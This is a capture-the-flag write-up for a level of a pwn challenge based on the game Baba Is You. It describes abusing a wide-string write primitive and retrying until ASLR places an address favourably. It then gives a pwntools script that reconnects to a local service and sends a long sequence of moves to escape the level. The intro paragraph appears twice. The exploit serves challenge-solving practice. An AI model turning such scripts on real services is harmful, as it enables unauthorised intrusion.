# solution

This is the second part of a game challenge modelled after Baba Is You

Solving this level requires you teleport outside the outer walls by using a wstring write primitive given via the `babaat<addr>` string. My solution relies on ASLR being in favor (`babaat0x...axx`) so that we one can use the `d` from `digitispush` to teleport to a `sun` located outside.# solution

This is the second part of a game challenge modelled after Baba Is You

Solving this level requires you teleport outside the outer walls by using a wstring write primitive given via the `babaat<addr>` string. My solution relies on ASLR being in favor (`babaat0x...axx`) so that we one can use the `d` from `digitispush` to teleport to a `sun` located outside.

```import pwn
import time
# aslr (baba's addr on stack)
# must be in favor to teleport outside wall
i = 0
while(i < 20):
p = pwn.remote("localhost", 1338)
time.sleep(0.2)
s = p.recv(40000)
if (s[0x848:0x84a]==" a"):
break
p.close()
i+=1
moves = "ddddddddddddssssssdassdwwwwwwwwwwwwwddddddsswwwwaaaaasadwawaasdssssssasdwdssswwwwwwwwawwdsddddasdssaaawsddddwwaaaddddddsssssdddddwwasdsaaaaaaaaaasawwwwwsdwssssddddddddddsaaaaaaaasawwwwwwddddsssssddddsaasawwwwwwwdwaaaasddddssssddwaawassssasddddwdssssswwwwwwwaaaaaaaaawwdwwwsssaaaawaassasddddddddddwdssssssasddddwdsswwwwwwaaaaawwwwwwwwwaaassddsssssdddddssdsssssssadwwwwwwwaaaaaaawaaawawwwwsddwassssssssdswwddsadsaswddwaawwwwwwaaaaaaaaawwwwwwwwwddddddwaaaaaawassssssssssssssssssdsawasdddddddssssssssssssssssssssssssssssssdddddddddddddddddddddddddddd"
p.sendline(moves)
p.interactive()```